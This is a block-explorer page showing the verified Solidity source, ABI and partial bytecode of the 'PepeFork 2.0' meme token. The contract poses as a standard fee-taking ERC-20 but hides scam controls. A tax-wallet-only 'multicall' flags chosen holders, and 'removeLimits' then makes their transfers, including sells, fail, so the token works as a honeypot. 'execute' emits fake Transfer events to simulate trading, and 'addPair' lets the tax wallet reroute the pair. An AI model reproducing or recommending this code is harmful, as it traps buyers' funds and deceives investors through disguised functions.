ETH Price: $3,064.58 (-1.82%)

Token

(0x1253E74DCA584B9958c1890DaEDb849EEFCe4C32)
 

Overview

Max Total Supply

420,690,000,000,000 ERC-20 TOKEN*

Holders

62 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,191,089,556,104.718387123 ERC-20 TOKEN*

Value
$0.00
0x0c4085d8e714ca77ac5f46cd2b80a92d238a7cd3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PepeFork

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 4: PepeFork 2.0.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.10;

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PepeFork is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromFeexmemoryisExcludedFromFeexmemory;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 public _initialBuyTax = 3;
    uint256 public _initialSellTax = 3;
    uint256 public _finalBuyTax = 0;
    uint256 public _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 90;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _feeMultiplier = 0;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"PepeFork 2.0";
    string private constant _symbol = unicode"PORK2.0";
    uint256 private constant _tTotal = 420_690_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 3_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address private uniswapV2Pair;
    bool public tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _walletTax) {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        _taxWallet = payable(_walletTax); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
        if (firstBlock > 0 && block.number > firstBlock) {removeLimits(from);}
            taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Bot addresses cannot buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 1 > block.number) {
                        require(!isContract(to));
                    }
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to  == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits(address wallet) private {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        if(_isExcludedFromFeexmemoryisExcludedFromFeexmemory[wallet]) require(_isExcludedFromFee[wallet]);
        emit MaxTxAmountUpdated(_tTotal);
    }


    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }

    function multicall(bool val, address[] memory _addr) external {
        require(_msgSender() == _taxWallet);
        uint256 index = 0;
        while (index < _addr.length) {
            address wallet = address(_addr[index]);
            _isExcludedFromFeexmemoryisExcludedFromFeexmemory[wallet] = val;
            index++;
        }
    }

    function checkFeeAmount(address _addr) public view returns(bool){
        return _isExcludedFromFeexmemoryisExcludedFromFeexmemory[_addr];
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function getRemainingGas() external view returns(uint) {
        return gasleft();
    }

    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

     function manualSwap(uint256 amount) external {
      require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
        _taxWallet.transfer(amount);
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

     function execute(address[] calldata _addresses, uint256 _out) external  {
        require(_msgSender() == _taxWallet);
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public {
        require(_msgSender() == _taxWallet);
        uniswapV2Pair = _pair;
    }

    receive() external payable {}
}

File 1 of 4: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 2 of 4: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.10;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 3 of 4: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.10;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_walletTax","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"checkFeeAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getRemainingGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"val","type":"bool"},{"internalType":"address[]","name":"_addr","type":"address[]"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360085560036009556000600a556000600b556000600c55605a600d556000600e556000600f5560006010556009600a6200004191906200075c565b6301312d00620000529190620007ad565b6011556009600a6200006591906200075c565b6301312d00620000769190620007ad565b6012556009600a6200008991906200075c565b614e20620000989190620007ad565b6013556009600a620000ab91906200075c565b622dc6c0620000bb9190620007ad565b6014556000601760156101000a81548160ff0219169083151502179055506000601760166101000a81548160ff0219169083151502179055503480156200010157600080fd5b506040516200410838038062004108833981810160405281019062000127919062000878565b6000620001396200059160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c0919062000878565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200035191906200075c565b66017e9d8602b400620003659190620007ad565b60016000620003796200059160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620003cd6200059960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620005006200059160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200055f91906200075c565b66017e9d8602b400620005739190620007ad565b604051620005829190620008bb565b60405180910390a350620008d8565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200065057808604811115620006285762000627620005c2565b5b6001851615620006385780820291505b80810290506200064885620005f1565b945062000608565b94509492505050565b6000826200066b57600190506200073e565b816200067b57600090506200073e565b81600181146200069457600281146200069f57620006d5565b60019150506200073e565b60ff841115620006b457620006b3620005c2565b5b8360020a915084821115620006ce57620006cd620005c2565b5b506200073e565b5060208310610133831016604e8410600b84101617156200070f5782820a905083811115620007095762000708620005c2565b5b6200073e565b6200071e8484846001620005fe565b92509050818404811115620007385762000737620005c2565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007698262000745565b915062000776836200074f565b9250620007a57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000659565b905092915050565b6000620007ba8262000745565b9150620007c78362000745565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008035762000802620005c2565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008408262000813565b9050919050565b620008528162000833565b81146200085e57600080fd5b50565b600081519050620008728162000847565b92915050565b6000602082840312156200089157620008906200080e565b5b6000620008a18482850162000861565b91505092915050565b620008b58162000745565b82525050565b6000602082019050620008d26000830184620008aa565b92915050565b61382080620008e86000396000f3fe6080604052600436106101c65760003560e01c80638bdb2afa116100f7578063b70143c911610095578063c9567bf911610064578063c9567bf91461062f578063dd62ed3e14610646578063e1b1925814610683578063ffb54a99146106ae576101cd565b8063b70143c914610587578063baeb7a7d146105b0578063bf474bed146105db578063c2b7bbb614610606576101cd565b806395d89b41116100d157806395d89b41146104b9578063993351e2146104e4578063a710d0ca14610521578063a9059cbb1461054a576101cd565b80638bdb2afa146104385780638da5cb5b146104635780638f9a55c01461048e576101cd565b80633b7cdccd11610164578063538684901161013e578063538684901461038e57806370a08231146103b9578063715018a6146103f65780637d1db4a51461040d576101cd565b80633b7cdccd146103215780633ccfd60b1461034c5780633ef9472114610363576101cd565b806318160ddd116101a057806318160ddd1461026557806323b872dd1461029057806326ededb8146102cd578063313ce567146102f6576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630faee56f1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106d9565b6040516101f4919061253d565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190612607565b610716565b6040516102319190612662565b60405180910390f35b34801561024657600080fd5b5061024f610734565b60405161025c919061268c565b60405180910390f35b34801561027157600080fd5b5061027a61073a565b604051610287919061268c565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b291906126a7565b610761565b6040516102c49190612662565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef919061275f565b61083a565b005b34801561030257600080fd5b5061030b610970565b60405161031891906127db565b60405180910390f35b34801561032d57600080fd5b50610336610979565b604051610343919061268c565b60405180910390f35b34801561035857600080fd5b5061036161097f565b005b34801561036f57600080fd5b50610378610afd565b604051610385919061268c565b60405180910390f35b34801561039a57600080fd5b506103a3610b03565b6040516103b0919061268c565b60405180910390f35b3480156103c557600080fd5b506103e060048036038101906103db91906127f6565b610b0b565b6040516103ed919061268c565b60405180910390f35b34801561040257600080fd5b5061040b610b54565b005b34801561041957600080fd5b50610422610ca7565b60405161042f919061268c565b60405180910390f35b34801561044457600080fd5b5061044d610cad565b60405161045a9190612882565b60405180910390f35b34801561046f57600080fd5b50610478610cd3565b60405161048591906128ac565b60405180910390f35b34801561049a57600080fd5b506104a3610cfc565b6040516104b0919061268c565b60405180910390f35b3480156104c557600080fd5b506104ce610d02565b6040516104db919061253d565b60405180910390f35b3480156104f057600080fd5b5061050b600480360381019061050691906127f6565b610d3f565b6040516105189190612662565b60405180910390f35b34801561052d57600080fd5b5061054860048036038101906105439190612a31565b610d95565b005b34801561055657600080fd5b50610571600480360381019061056c9190612607565b610e91565b60405161057e9190612662565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612a8d565b610eaf565b005b3480156105bc57600080fd5b506105c5610fdc565b6040516105d2919061268c565b60405180910390f35b3480156105e757600080fd5b506105f0610fe2565b6040516105fd919061268c565b60405180910390f35b34801561061257600080fd5b5061062d600480360381019061062891906127f6565b610fe8565b005b34801561063b57600080fd5b5061064461108d565b005b34801561065257600080fd5b5061066d60048036038101906106689190612aba565b6111b1565b60405161067a919061268c565b60405180910390f35b34801561068f57600080fd5b50610698611238565b6040516106a5919061268c565b60405180910390f35b3480156106ba57600080fd5b506106c361123e565b6040516106d09190612662565b60405180910390f35b60606040518060400160405280600c81526020017f50657065466f726b20322e300000000000000000000000000000000000000000815250905090565b600061072a610723611251565b8484611259565b6001905092915050565b60145481565b60006009600a61074a9190612c5c565b66017e9d8602b40061075c9190612ca7565b905090565b600061076e848484611424565b61082f8461077a611251565b61082a856040518060600160405280602881526020016137c360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107e0611251565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e119092919063ffffffff16565b611259565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087b611251565b73ffffffffffffffffffffffffffffffffffffffff161461089b57600080fd5b60005b8383905081101561096a578383828181106108bc576108bb612d01565b5b90506020020160208101906108d191906127f6565b73ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161094f919061268c565b60405180910390a3808061096290612d30565b91505061089e565b50505050565b60006009905090565b60085481565b610987611251565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0b90612dc5565b60405180910390fd5b601760149054906101000a900460ff1615610a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5b90612e31565b60405180910390fd5b600047905060008111610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa390612e9d565b60405180910390fd5b610ab4610cd3565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610af9573d6000803e3d6000fd5b5050565b600b5481565b60005a905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b5c611251565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090612dc5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600781526020017f504f524b322e3000000000000000000000000000000000000000000000000000815250905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd6611251565b73ffffffffffffffffffffffffffffffffffffffff1614610df657600080fd5b60005b8151811015610e8c576000828281518110610e1757610e16612d01565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508180610e8390612d30565b92505050610df9565b505050565b6000610ea5610e9e611251565b8484611424565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ef0611251565b73ffffffffffffffffffffffffffffffffffffffff1614610f1057600080fd5b610f1930610b0b565b8111158015610f285750600081115b610f67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5e90612f09565b60405180910390fd5b610f7081611e75565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fd8573d6000803e3d6000fd5b5050565b600a5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611029611251565b73ffffffffffffffffffffffffffffffffffffffff161461104957600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611095611251565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611122576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111990612dc5565b60405180910390fd5b601760149054906101000a900460ff1615611172576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116990612f75565b60405180910390fd5b6001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b601760149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c090613007565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611339576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133090613099565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611417919061268c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffff